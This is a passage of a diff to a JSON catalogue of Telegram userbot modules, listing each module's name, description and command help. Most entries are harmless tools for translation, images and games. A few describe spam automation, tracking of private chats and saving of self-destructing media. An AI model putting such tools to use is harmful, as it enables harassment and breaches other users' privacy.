"en_doc": null, - "doc": "Установить новое сообщение при выходе из чата пользователей.\nИспользуй: .setleft <текст (можно использовать {name}; {chat})>; ничего." + "doc": ".shazam <reply to audio> - recognize track" } } ], @@ -28001,396 +41119,7 @@ "Tools" ] }, - "trololo65/Modules/ttsave.py": { - "name": "TTsaveMod", - "description": "Save tiktok video", - "meta": { - "pic": null, - "banner": null, - "developer": "@trololo_1" - }, - "commands": [ - { - "ttsavecmd": ".ttsave {link}" - }, - { - "ttacceptcmd": ".ttaccept {reply/id} для открытия в чате автоматического скачивания ссылок. без аргументов тоже работает.\n.ttaccept -l для показа открытых чатов " - } - ], - "new_commands": [ - { - "ttsave": { - "ru_doc": null, - "en_doc": null, - "doc": ".ttsave {link}" - } - }, - { - "ttaccept": { - "ru_doc": null, - "en_doc": null, - "doc": ".ttaccept {reply/id} для открытия в чате автоматического скачивания ссылок. без аргументов тоже работает.\n.ttaccept -l для показа открытых чатов " - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "trololo65/Modules/VSpamMod.py": { - "name": "VSpamMod", - "description": "Vspam", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "vampcmd": ".vamp {time} {id/user chat} {text} " - }, - { - "voffcmd": "stop spam. " - }, - { - "vampidcmd": "send mes to favourites" - }, - { - "vchcmd": "Выбор шаблона " - } - ], - "new_commands": [ - { - "vamp": { - "ru_doc": null, - "en_doc": null, - "doc": ".vamp {time} {id/user chat} {text} " - } - }, - { - "voff": { - "ru_doc": null, - "en_doc": null, - "doc": "stop spam. " - } - }, - { - "vampid": { - "ru_doc": null, - "en_doc": null, - "doc": "send mes to favourites" - } - }, - { - "vch": { - "ru_doc": null, - "en_doc": null, - "doc": "Выбор шаблона " - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "trololo65/Modules/TTsaveMod.py": { - "name": "TTsaveMod", - "description": "Save tiktok video", - "meta": { - "pic": null, - "banner": null, - "developer": "@trololo_1" - }, - "commands": [ - { - "ttsavecmd": ".ttsave {link}" - }, - { - "ttacceptcmd": ".ttaccept {reply/id} для открытия в чате автоматического скачивания ссылок. без аргументов тоже работает.\n.ttaccept -l для показа открытых чатов " - } - ], - "new_commands": [ - { - "ttsave": { - "ru_doc": null, - "en_doc": null, - "doc": ".ttsave {link}" - } - }, - { - "ttaccept": { - "ru_doc": null, - "en_doc": null, - "doc": ".ttaccept {reply/id} для открытия в чате автоматического скачивания ссылок. без аргументов тоже работает.\n.ttaccept -l для показа открытых чатов " - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "trololo65/Modules/BFGMod.py": { - "name": "BFGMod", - "description": "Send mes", - "meta": { - "pic": null, - "banner": null, - "developer": "@trololo_1" - }, - "commands": [ - { - "bbtoncmd": "" - }, - { - "bbtoffcmd": "" - }, - { - "bfgoncmd": "" - }, - { - "bfgoffcmd": "" - } - ], - "new_commands": [ - { - "bbton": { - "ru_doc": null, - "en_doc": null, - "doc": "" - } - }, - { - "bbtoff": { - "ru_doc": null, - "en_doc": null, - "doc": "" - } - }, - { - "bfgon": { - "ru_doc": null, - "en_doc": null, - "doc": "" - } - }, - { - "bfgoff": { - "ru_doc": null, - "en_doc": null, - "doc": "" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "trololo65/Modules/webshot.py": { - "name": "WebShotMod", - "description": "link to screen", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "webshotcmd": ".webshot <link>" - } - ], - "new_commands": [ - { - "webshot": { - "ru_doc": null, - "en_doc": null, - "doc": ".webshot <link>" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "trololo65/Modules/glitchMod.py": { - "name": "glitchMod", - "description": "Накладывает на изображения глитч эффект.", - "meta": { - "pic": null, - "banner": null, - "developer": "@trololo_1" - }, - "commands": [ - { - "glitchcmd": "Используй: \n.glitch {аргументы} {реплай на фото} {уровень сдвига 0.0 - 10.0} \nЧтобы наложить эффект на фото.\nИспользуй: \n.glitch\nчтобы посмотреть аргументы." - }, - { - "glconfcmd": "Настройка глитч эффекта." - } - ], - "new_commands": [ - { - "glitch": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: \n.glitch {аргументы} {реплай на фото} {уровень сдвига 0.0 - 10.0} \nЧтобы наложить эффект на фото.\nИспользуй: \n.glitch\nчтобы посмотреть аргументы." - } - }, - { - "glconf": { - "ru_doc": null, - "en_doc": null, - "doc": "Настройка глитч эффекта." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "trololo65/Modules/Num.py": { - "name": "NumMod", - "description": "Заражает по реплаю.", - "meta": { - "pic": null, - "banner": null, - "developer": "@trololo_1" - }, - "commands": [ - { - "numcmd": ".num [arg] [arg] [arg]....\nВ качестве аргументов используй числа. или первые символы строки." - }, - { - "zarcmd": "Заражает всех по реплаю." - }, - { - "exnumcmd": "Добавляет исключения в модуль.\nИспользуй: .exnum {@user/@id}" - }, - { - "zarlistcmd": "Лист ваших заражений.\n.zarlist {@id/user} {count} {args}\nДля удаления: .zarlist {@id/user}\nАргументы:\n-k -- добавить букву k(тысяч) к числу.\n-f -- поиск по ид'у/юзеру.\n-r -- добавлению в список по реплаю." - }, - { - "numfiltercmd": ".numfilter {args1} {args2 OR reply} \nВызови команду, чтобы просмотреть аргументы." - } - ], - "new_commands": [ - { - "num": { - "ru_doc": null, - "en_doc": null, - "doc": ".num [arg] [arg] [arg]....\nВ качестве аргументов используй числа. или первые символы строки." - } - }, - { - "zar": { - "ru_doc": null, - "en_doc": null, - "doc": "Заражает всех по реплаю." - } - }, - { - "exnum": { - "ru_doc": null, - "en_doc": null, - "doc": "Добавляет исключения в модуль.\nИспользуй: .exnum {@user/@id}" - } - }, - { - "zarlist": { - "ru_doc": null, - "en_doc": null, - "doc": "Лист ваших заражений.\n.zarlist {@id/user} {count} {args}\nДля удаления: .zarlist {@id/user}\nАргументы:\n-k -- добавить букву k(тысяч) к числу.\n-f -- поиск по ид'у/юзеру.\n-r -- добавлению в список по реплаю." - } - }, - { - "numfilter": { - "ru_doc": null, - "en_doc": null, - "doc": ".numfilter {args1} {args2 OR reply} \nВызови команду, чтобы просмотреть аргументы." - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "trololo65/Modules/farmMoo.py": { - "name": "FarmMooBotMod", - "description": "Для автоматического фарминга мубота.\nотправляет мус, кликает, затем мук, кликает. и всё по циклу.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "mbfoncmd": "Запустить автофарминг.\n.mbfon {интервал отправки} {первая кнопка} {вторая кнопка} | кнопки указывать по очередности." - }, - { - "mbfoffcmd": "Остановить автофармин." - } - ], - "new_commands": [ - { - "mbfon": { - "ru_doc": null, - "en_doc": null, - "doc": "Запустить автофарминг.\n.mbfon {интервал отправки} {первая кнопка} {вторая кнопка} | кнопки указывать по очередности." - } - }, - { - "mbfoff": { - "ru_doc": null, - "en_doc": null, - "doc": "Остановить автофармин." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "trololo65/Modules/Morze.py": { - "name": "MorzeMod", - "description": "Конвертация текста в шифр Морзе и наоборот.\n\nСимволы использовать не советую, могут возникать ошибки!!", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "tomrzcmd": ".tomrz [реплай или текст]" - }, - { - "toabccmd": ".toabc [реплай или текст]" - } - ], - "new_commands": [ - { - "tomrz": { - "ru_doc": null, - "en_doc": null, - "doc": ".tomrz [реплай или текст]" - } - }, - { - "toabc": { - "ru_doc": null, - "en_doc": null, - "doc": ".toabc [реплай или текст]" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "trololo65/Modules/SeeChat.py": { + "Yahikoro/Modules-for-FTG/SeeChat.py": { "name": "SeeChatMod", "description": "tracking in all PM chats.", "meta": { @@ -28476,25 +41205,64 @@ "Tools" ] }, - "trololo65/Modules/LsSend.py": { - "name": "LsSendMod", - "description": "Отправка смс в лс по юзеру пользователя.", + "Yahikoro/Modules-for-FTG/Conthelper.py": { + "name": "ConthelperMod", + "description": "Commands:", "meta": { "pic": null, - "banner": null, - "developer": "@trololo_1" + "banner": null }, "commands": [ { - "sendcmd": ".send {юзер} {текст или реплай}" + "reportcmd": "User report for spam. " + }, + { + "blockcmd": "Use: .block to block this user." + }, + { + "unblockcmd": "Use: .unblock to unblock this user." + }, + { + "delcontcmd": "Use: .delcont to remove a user from contacts." + }, + { + "addcontcmd": "Use: .addcont to add somebody in contacts." } ], "new_commands": [ { - "send": { + "report": { "ru_doc": null, "en_doc": null, - "doc": ".send {юзер} {текст или реплай}" + "doc": "User report for spam. " + } + }, + { + "block": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .block to block this user." + } + }, + { + "unblock": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .unblock to unblock this user." + } + }, + { + "delcont": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .delcont to remove a user from contacts." + } + }, + { + "addcont": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .addcont to add somebody in contacts." } } ], @@ -28503,216 +41271,24 @@ "Chat" ] }, - "trololo65/Modules/RPMod.py": { - "name": "RPMod", - "description": "Модуль RPMod.", + "Yahikoro/Modules-for-FTG/asser.py": { + "name": "AsserMod", + "description": "easy as lists and as in PM.", "meta": { "pic": null, - "banner": null, - "developer": "@trololo_1" + "banner": null }, "commands": [ { - "dobrpcmd": "Используй: .dobrp (команда) / (действие) / (эмодзи) чтобы добавить команду. Можно и без эмодзи." - }, - { - "delrpcmd": "Используй: .delrp (команда) чтобы удалить команду.\nИспользуй: .delrp all чтобы удалить все команды." - }, - { - "rpmodcmd": "Используй: .rpmod чтобы включить/выключить RP режим.\nИспользуй: .rpmod toggle чтобы сменить режим на отправку или изменение смс." - }, - { - "rplistcmd": "Используй: .rplist чтобы посмотреть список рп команд." - }, - { - "rpnickcmd": "Используй: .rpnick (ник) чтобы сменить ник пользователю или себе. С аргументом -l вызовет все ники." - }, - { - "rpbackcmd": "Бекап рп команд.\n.rpback для просмотра аргументов. " - }, - { - "rpblockcmd": "Используй: .rpblock чтобы добавить/удалить исключение(использовать в нужном чате).\nИспользуй: .rpblock list чтобы просмотреть чаты в исключениях.\nИспользуй .rpblock (ид) чтобы удалить чат из исключений." - }, - { - "useracceptcmd": "Добавление/удаление пользователей/чатов, разрешенным использовать ваши команды.\n .useraccept {id/reply}\nДля добавления чата используй без реплая и аргументов." - }, - { - "rpconfcmd": "Настройка шаблона для рп" + "ascmd": "use: .аs to fast add in as list." } ], "new_commands": [ { - "dobrp": { + "as": { "ru_doc": null, "en_doc": null, - "doc": "Используй: .dobrp (команда) / (действие) / (эмодзи) чтобы добавить команду. Можно и без эмодзи." - } - }, - { - "delrp": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .delrp (команда) чтобы удалить команду.\nИспользуй: .delrp all чтобы удалить все команды." - } - }, - { - "rpmod": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .rpmod чтобы включить/выключить RP режим.\nИспользуй: .rpmod toggle чтобы сменить режим на отправку или изменение смс." - } - }, - { - "rplist": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .rplist чтобы посмотреть список рп команд." - } - }, - { - "rpnick": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .rpnick (ник) чтобы сменить ник пользователю или себе. С аргументом -l вызовет все ники." - } - }, - { - "rpback": { - "ru_doc": null, - "en_doc": null, - "doc": "Бекап рп команд.\n.rpback для просмотра аргументов. " - } - }, - { - "rpblock": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .rpblock чтобы добавить/удалить исключение(использовать в нужном чате).\nИспользуй: .rpblock list чтобы просмотреть чаты в исключениях.\nИспользуй .rpblock (ид) чтобы удалить чат из исключений." - } - }, - { - "useraccept": { - "ru_doc": null, - "en_doc": null, - "doc": "Добавление/удаление пользователей/чатов, разрешенным использовать ваши команды.\n .useraccept {id/reply}\nДля добавления чата используй без реплая и аргументов." - } - }, - { - "rpconf": { - "ru_doc": null, - "en_doc": null, - "doc": "Настройка шаблона для рп" - } - } - ], - "category": [ - "Chat", - "Automation" - ] - }, - "trololo65/Modules/translatepyMod.py": { - "name": "translatepyMod", - "description": "Перевод текста. Автоматическое распознование языка.", - "meta": { - "pic": null, - "banner": null, - "developer": "@trololo_1" - }, - "commands": [ - { - "trnsltcmd": "Используй: .trnslt {язык} {текст или реплай}" - }, - { - "tservicecmd": "Установка сервиса для перевода.\nИспользуй .tservice list для просмотра всех сервисов" - } - ], - "new_commands": [ - { - "trnslt": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .trnslt {язык} {текст или реплай}" - } - }, - { - "tservice": { - "ru_doc": null, - "en_doc": null, - "doc": "Установка сервиса для перевода.\nИспользуй .tservice list для просмотра всех сервисов" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "trololo65/Modules/Vizjener.py": { - "name": "VijenerMod", - "description": "Конвертация текста в шифр Виженеря и наоборот. ", - "meta": { - "pic": null, - "banner": null, - "developer": "@trololo_1" - }, - "commands": [ - { - "tovizcmd": ".toviz {ключ} {текст}" - }, - { - "tounvizcmd": ".tounviz {ключ} {текст}" - } - ], - "new_commands": [ - { - "toviz": { - "ru_doc": null, - "en_doc": null, - "doc": ".toviz {ключ} {текст}" - } - }, - { - "tounviz": { - "ru_doc": null, - "en_doc": null, - "doc": ".tounviz {ключ} {текст}" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SkillsAngels/Modules/smile.py": { - "name": "Smile", - "description": null, - "meta": { - "pic": null, - "banner": "https://i.imgur.com/qfHTxhs.jpeg", - "developer": "@hikkaftgmods" - }, - "commands": [ - { - "heartscmd": "запускается цикл из меняющихся сердец 💛💙" - }, - { - "mooncmd": "запускается цикл из меняющихся лун 🌚 🌝" - } - ], - "new_commands": [ - { - "hearts": { - "ru_doc": null, - "en_doc": null, - "doc": "запускается цикл из меняющихся сердец 💛💙" - } - }, - { - "moon": { - "ru_doc": null, - "en_doc": null, - "doc": "запускается цикл из меняющихся лун 🌚 🌝" + "doc": "use: .аs to fast add in as list." } } ], @@ -28721,390 +41297,24 @@ "Tools" ] }, - "SkillsAngels/Modules/IrisLab.py": { - "name": "IrisLabMod", - "description": "Показывает лаб/жертв. Возможны задержки на получение инф-ции", - "meta": { - "pic": "https://i.imgur.com/QntqxyH.jpeg", - "banner": "https://i.imgur.com/2KZ38Pv.jpeg", - "developer": "@hikkaftgmods" - }, - "commands": [ - { - "labcmd": "Модуль который выдаст вам статистику вашей лаборатории (лаб)" - }, - { - "victimscmd": "Комманда показывает ваши жертвы" - }, - { - "upgcmd": "Увеличивает зз/имун и тд.Как использовать(Пример) .upg летальность (число 1-5)" - }, - { - "gcmd": "<name> - показывает заметку" - }, - { - "svcmd": "<name> - для сохранения заметки" - }, - { - "dcmd": "<name> - удаляет заметку" - }, - { - "listcmd": "[folder] - показывает все заметки" - }, - { - "iccmd": "Комманда котрая вычисляет сколько 🧬Био-ресурсов или же ic☣️ нужно\nПример: .ic <характеристика> <уровень С> <уровень До>" - }, - { - "listcmd": "Помощь по ирис лабу." - } - ], - "new_commands": [ - { - "lab": { - "ru_doc": null, - "en_doc": null, - "doc": "Модуль который выдаст вам статистику вашей лаборатории (лаб)" - } - }, - { - "victims": { - "ru_doc": null, - "en_doc": null, - "doc": "Комманда показывает ваши жертвы" - } - }, - { - "upg": { - "ru_doc": null, - "en_doc": null, - "doc": "Увеличивает зз/имун и тд.Как использовать(Пример) .upg летальность (число 1-5)" - } - }, - { - "g": { - "ru_doc": null, - "en_doc": null, - "doc": "<name> - показывает заметку" - } - }, - { - "sv": { - "ru_doc": null, - "en_doc": null, - "doc": "<name> - для сохранения заметки" - } - }, - { - "d": { - "ru_doc": null, - "en_doc": null, - "doc": "<name> - удаляет заметку" - } - }, - { - "list": { - "ru_doc": null, - "en_doc": null, - "doc": "[folder] - показывает все заметки" - } - }, - { - "ic": { - "ru_doc": null, - "en_doc": null, - "doc": "Комманда котрая вычисляет сколько 🧬Био-ресурсов или же ic☣️ нужно\nПример: .ic <характеристика> <уровень С> <уровень До>" - } - }, - { - "list": { - "ru_doc": null, - "en_doc": null, - "doc": "Помощь по ирис лабу." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SkillsAngels/Modules/AnimeVoices.py": { - "name": "AnimeVoicesMod", - "description": "🎤 Popular Anime Voices", - "meta": { - "pic": "https://ibb.co/zX25RNd", - "banner": "https://ibb.co/3NjJHvv", - "developer": "@amoremods @hikkaftgmods" - }, - "commands": [ - { - "smexkcmd": "Смех Канеки" - }, - { - "smexycmd": "Смех Ягами" - }, - { - "znaycmd": "Знай свое место ничтожество" - }, - { - "madaracmd": "Учиха Мадара" - }, - { - "sharingancmd": "Итачи Шаринган" - }, - { - "imsasukecmd": "Учиха Саске" - }, - { - "paincmd": "Познайте боль" - }, - { - "rascmd": "Расширение территории" - }, - { - "tenseicmd": "Shinra tensei" - }, - { - "dazaicmd": "Дазаи" - }, - { - "gaycmd": "I'm gay" - }, - { - "bankaicmd": "Bankai" - }, - { - "satecmd": "Sate sate sate" - }, - { - "yoaimocmd": "Yoaimo" - }, - { - "madaracmd": "Он один из основателей конохи" - }, - { - "valhallacmd": "У нас будет крутейшая байкерская банда в Канто." - }, - { - "itachicmd": "В возрасте 7 лет он уже мыслил как Хокаге." - }, - { - "ghoulcmd": "Я...Гуль." - }, - { - "bestcmd": "В общем раз уж я сдесь стану лучшим.(Повар боец Сомо)" - }, - { - "requiemcmd": "Это реквием." - }, - { - "kingcmd": "Король вернулся." - }, - { - "equalitycmd": "цитата Аянокоджи про равенство." - }, - { - "forestcmd": "Нельзя понять всю красоту леса оценивая лишь одно дерево." - }, - { - "bankaiichigocmd": "Банкай Ичиго." - } - ], - "new_commands": [ - { - "smexk": { - "ru_doc": null, - "en_doc": null, - "doc": "Смех Канеки" - } - }, - { - "smexy": { - "ru_doc": null, - "en_doc": null, - "doc": "Смех Ягами" - } - }, - { - "znay": { - "ru_doc": null, - "en_doc": null, - "doc": "Знай свое место ничтожество" - } - }, - { - "madara": { - "ru_doc": null, - "en_doc": null, - "doc": "Учиха Мадара" - } - }, - { - "sharingan": { - "ru_doc": null, - "en_doc": null, - "doc": "Итачи Шаринган" - } - }, - { - "imsasuke": { - "ru_doc": null, - "en_doc": null, - "doc": "Учиха Саске" - } - }, - { - "pain": { - "ru_doc": null, - "en_doc": null, - "doc": "Познайте боль" - } - }, - { - "ras": { - "ru_doc": null, - "en_doc": null, - "doc": "Расширение территории" - } - }, - { - "tensei": { - "ru_doc": null, - "en_doc": null, - "doc": "Shinra tensei" - } - }, - { - "dazai": { - "ru_doc": null, - "en_doc": null, - "doc": "Дазаи" - } - }, - { - "gay": { - "ru_doc": null, - "en_doc": null, - "doc": "I'm gay" - } - }, - { - "bankai": { - "ru_doc": null, - "en_doc": null, - "doc": "Bankai" - } - }, - { - "sate": { - "ru_doc": null, - "en_doc": null, - "doc": "Sate sate sate" - } - }, - { - "yoaimo": { - "ru_doc": null, - "en_doc": null, - "doc": "Yoaimo" - } - }, - { - "madara": { - "ru_doc": null, - "en_doc": null, - "doc": "Он один из основателей конохи" - } - }, - { - "valhalla": { - "ru_doc": null, - "en_doc": null, - "doc": "У нас будет крутейшая байкерская банда в Канто." - } - }, - { - "itachi": { - "ru_doc": null, - "en_doc": null, - "doc": "В возрасте 7 лет он уже мыслил как Хокаге." - } - }, - { - "ghoul": { - "ru_doc": null, - "en_doc": null, - "doc": "Я...Гуль." - } - }, - { - "best": { - "ru_doc": null, - "en_doc": null, - "doc": "В общем раз уж я сдесь стану лучшим.(Повар боец Сомо)" - } - }, - { - "requiem": { - "ru_doc": null, - "en_doc": null, - "doc": "Это реквием." - } - }, - { - "king": { - "ru_doc": null, - "en_doc": null, - "doc": "Король вернулся." - } - }, - { - "equality": { - "ru_doc": null, - "en_doc": null, - "doc": "цитата Аянокоджи про равенство." - } - }, - { - "forest": { - "ru_doc": null, - "en_doc": null, - "doc": "Нельзя понять всю красоту леса оценивая лишь одно дерево." - } - }, - { - "bankaiichigo": { - "ru_doc": null, - "en_doc": null, - "doc": "Банкай Ичиго." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SkillsAngels/Modules/S-D Pics.py": { - "name": "SDPicsMod", - "description": "Module to save self-destructing media", + "Yahikoro/Modules-for-FTG/WriteCorrect.py": { + "name": "ErrorMod", + "description": "Модуль для проверки слов на наличие ошибок ", "meta": { "pic": null, - "banner": "https://i.imgur.com/P3fguXK.jpeg", - "developer": "@hikkaftgmods", - "icon": "https://i.imgur.com/sWz2mob.jpeg" + "banner": null }, "commands": [ { - "scmd": "<reply to self-destructing media>" + "errcmd": "Пиши .err + слово, можно реплай." } ], "new_commands": [ { - "s": { + "err": { "ru_doc": null, "en_doc": null, - "doc": "<reply to self-destructing media>" + "doc": "Пиши .err + слово, можно реплай." } } ], @@ -29113,45 +41323,50 @@ "Tools" ] }, - "SkillsAngels/Modules/DrochBot.py": { - "name": "DrochBotMod", - "description": "Автоматизирует работу с @DrochBot (автоматическая дрочка и др.)", + "Yahikoro/Modules-for-FTG/MafiaDrawing.py": { + "name": "MafiaDrawingMod", + "description": "Модуль ловли подарков в True Mafia News.", "meta": { "pic": null, - "banner": "https://i.imgur.com/awltLuz.jpeg", - "developer": "@hikkaftgmods" + "banner": null }, "commands": [ { - "drochcmd": "Включается команда `/drochnut`. Чтобы остановить, `Дрочка стоп`." - }, - { - "dickcmd": "Включается команда `/drochnut`. Чтобы остановить, `Хуй стоп`." - }, - { - "casecmd": "Включается команда `/case`. Чтобы остановить, `кейс стоп`." + "mdcmd": "Используй: .md чтобы включить/выключить ловлю подарков." } ], "new_commands": [ { - "droch": { + "md": { "ru_doc": null, "en_doc": null, - "doc": "Включается команда `/drochnut`. Чтобы остановить, `Дрочка стоп`." + "doc": "Используй: .md чтобы включить/выключить ловлю подарков." } - }, + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "Yahikoro/Modules-for-FTG/KeyboardSwitcher.py": { + "name": "KeyboardSwitcherMod", + "description": "Смена расскаладки клавиатуры у текста", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ { - "dick": { + "switchcmd": "Если ты допустил ошибку и набрал текст не сменив раскладку клавиатуры\nто вернись в его начало и допиши `.switch` и твой текст станет читабельным.\nЕсли ты всё же отправил сообщение не в той расскладке, то просто ответь на него этой командой и он измениться.\nесли же твой собеседник допустил ошибку, то просто ответь на его сообщение и сообщение с командой измениться." + } + ], + "new_commands": [ + { + "switch": { "ru_doc": null, "en_doc": null, - "doc": "Включается команда `/drochnut`. Чтобы остановить, `Хуй стоп`." - } - }, - { - "case": { - "ru_doc": null, - "en_doc": null, - "doc": "Включается команда `/case`. Чтобы остановить, `кейс стоп`." + "doc": "Если ты допустил ошибку и набрал текст не сменив раскладку клавиатуры\nто вернись в его начало и допиши `.switch` и твой текст станет читабельным.\nЕсли ты всё же отправил сообщение не в той расскладке, то просто ответь на него этой командой и он измениться.\nесли же твой собеседник допустил ошибку, то просто ответь на его сообщение и сообщение с командой измениться." } } ], @@ -29160,25 +41375,324 @@ "Chat" ] }, - "SkillsAngels/Modules/HFInfo.py": { - "name": "HFInfoMod", - "description": "Show userbot info", + "CakesTwix/Hikka-Modules/ImageBoardSender.py": { + "name": "ImageBoardSenderMod", + "description": "Auto-posting art to your channels", "meta": { - "pic": "https://i.imgur.com/wB0SFBi.jpeg", - "banner": "https://i.imgur.com/BtmS5QF.jpeg", - "developer": "@hikkaftgmods" + "pic": "https://www.seekpng.com/png/full/824-8246338_yandere-sticker-yandere-simulator-ayano-bloody.png", + "banner": null, + "developer": "@cakestwix_mods" }, "commands": [ { - "hfinfocmd": "Send userbot info" + "channelmenucmd": "🗒 Simple Menu and status" + }, + { + "artsourcecmd": "🧑‍🎤 Change the source of art" + }, + { + "latestartcmd": "⌚️ Sending the last art for now" + }, + { + "randomartcmd": "🎲 Sending a random art" } ], "new_commands": [ { - "hfinfo": { + "channelmenu": { "ru_doc": null, "en_doc": null, - "doc": "Send userbot info" + "doc": "🗒 Simple Menu and status" + } + }, + { + "artsource": { + "ru_doc": null, + "en_doc": null, + "doc": "🧑‍🎤 Change the source of art" + } + }, + { + "latestart": { + "ru_doc": null, + "en_doc": null, + "doc": "⌚️ Sending the last art for now" + } + }, + { + "randomart": { + "ru_doc": null, + "en_doc": null, + "doc": "🎲 Sending a random art" + } + } + ], + "category": [ + "Chat", + "Fun" + ] + }, + "CakesTwix/Hikka-Modules/anilibria.py": { + "name": "AniLibriaMod", + "description": "A non-profit project for the dubbing and adaptation of foreign TV series, cartoons and anime", + "meta": { + "pic": "https://image.winudf.com/v2/image/cnUucmFkaWF0aW9ueC5hbmlsaWJyaWEuYXBwX2ljb25fMTUyODYyNzQ2NV8wMjY/icon.png?w=&fakeurl=1", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "arandomcmd": "Возвращает случайный тайтл из базы" + }, + { + "aschedulecmd": "Получить список последних обновлений тайтлов" + } + ], + "new_commands": [ + { + "arandom": { + "ru_doc": null, + "en_doc": null, + "doc": "Возвращает случайный тайтл из базы" + } + }, + { + "aschedule": { + "ru_doc": null, + "en_doc": null, + "doc": "Получить список последних обновлений тайтлов" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "CakesTwix/Hikka-Modules/FoxAndDogsGallery.py": { + "name": "FoxGalerryMod", + "description": "🦊 Foxes, Dogs 🐶 and cats 🐱", + "meta": { + "pic": "https://cdn-icons-png.flaticon.com/512/1005/1005340.png", + "banner": null, + "developer": "@shadow_geektg, @cakestwix_mods" + }, + "commands": [ + { + "foxescmd": "🦊 Sending photos with foxes" + }, + { + "dogscmd": "🐶 Sending photos with dogs" + }, + { + "randomcdfcmd": "Photos of dogs 🐶 and foxes 🦊" + } + ], + "new_commands": [ + { + "foxes": { + "ru_doc": null, + "en_doc": null, + "doc": "🦊 Sending photos with foxes" + } + }, + { + "dogs": { + "ru_doc": null, + "en_doc": null, + "doc": "🐶 Sending photos with dogs" + } + }, + { + "randomcdf": { + "ru_doc": null, + "en_doc": null, + "doc": "Photos of dogs 🐶 and foxes 🦊" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "CakesTwix/Hikka-Modules/yandere_geek.py": { + "name": "InlineMoebooruMod", + "description": "Module for obtaining art from the ImageBoard yande.re", + "meta": { + "pic": "https://www.seekpng.com/png/full/824-8246338_yandere-sticker-yandere-simulator-ayano-bloody.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "ylastcmd": "The last posted art" + }, + { + "yrandomcmd": "The random posted art" + }, + { + "yvotecmd": "Vote for art\n\nBad = -1, None = 0, Good = 1, Great = 2, Favorite = 3" + } + ], + "new_commands": [ + { + "ylast": { + "ru_doc": null, + "en_doc": null, + "doc": "The last posted art" + } + }, + { + "yrandom": { + "ru_doc": null, + "en_doc": null, + "doc": "The random posted art" + } + }, + { + "yvote": { + "ru_doc": null, + "en_doc": null, + "doc": "Vote for art\n\nBad = -1, None = 0, Good = 1, Great = 2, Favorite = 3" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "CakesTwix/Hikka-Modules/translate.py": { + "name": "TranslatorMod", + "description": "🔡 Module for text translation\n➡️ .tr en ru | Hello World\n➡️ .tr ru | Hello World\n➡️ .tr ru + reply to message", + "meta": { + "pic": "https://img.icons8.com/color/512/40C057/translate-text.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "atrcmd": "Based on Argos (LibreTranslate)" + }, + { + "itrcmd": "Based on Iciba" + }, + { + "gtrcmd": "Based on Google Translate" + }, + { + "ltrcmd": "Based on lingva.ml (Google Translate)" + } + ], + "new_commands": [ + { + "atr": { + "ru_doc": null, + "en_doc": null, + "doc": "Based on Argos (LibreTranslate)" + } + }, + { + "itr": { + "ru_doc": null, + "en_doc": null, + "doc": "Based on Iciba" + } + }, + { + "gtr": { + "ru_doc": null, + "en_doc": null, + "doc": "Based on Google Translate" + } + }, + { + "ltr": { + "ru_doc": null, + "en_doc": null, + "doc": "Based on lingva.ml (Google Translate)" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "CakesTwix/Hikka-Modules/toloka_geek.py": { + "name": "HurtomMod", + "description": "Український торрент трекер", + "meta": { + "pic": "https://img.icons8.com/external-others-iconmarket/512/000000/external-national-flags-others-iconmarket-5.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "hsearchcmd": "Пошук по трекеру toloka.to (повертає перший елемент)" + } + ], + "new_commands": [ + { + "hsearch": { + "ru_doc": null, + "en_doc": null, + "doc": "Пошук по трекеру toloka.to (повертає перший елемент)" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "CakesTwix/Hikka-Modules/qrcode.py": { + "name": "QrCodeMod", + "description": "Module for creating Qr codes", + "meta": { + "pic": "https://cdn1.iconfinder.com/data/icons/social-messaging-ui-color-shapes/128/qr-code-circle-blue-512.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "qrcmd": "Create QrCode" + } + ], + "new_commands": [ + { + "qr": { + "ru_doc": null, + "en_doc": null, + "doc": "Create QrCode" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "CakesTwix/Hikka-Modules/InlineSystemInfo.py": { + "name": "InlineSystemInfoMod", + "description": "🖥 Get detailed information about your server", + "meta": { + "pic": "https://img.icons8.com/external-xnimrodx-lineal-color-xnimrodx/512/000000/external-pc-computer-xnimrodx-lineal-color-xnimrodx.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "systeminfocmd": "Get information about your server" + } + ], + "new_commands": [ + { 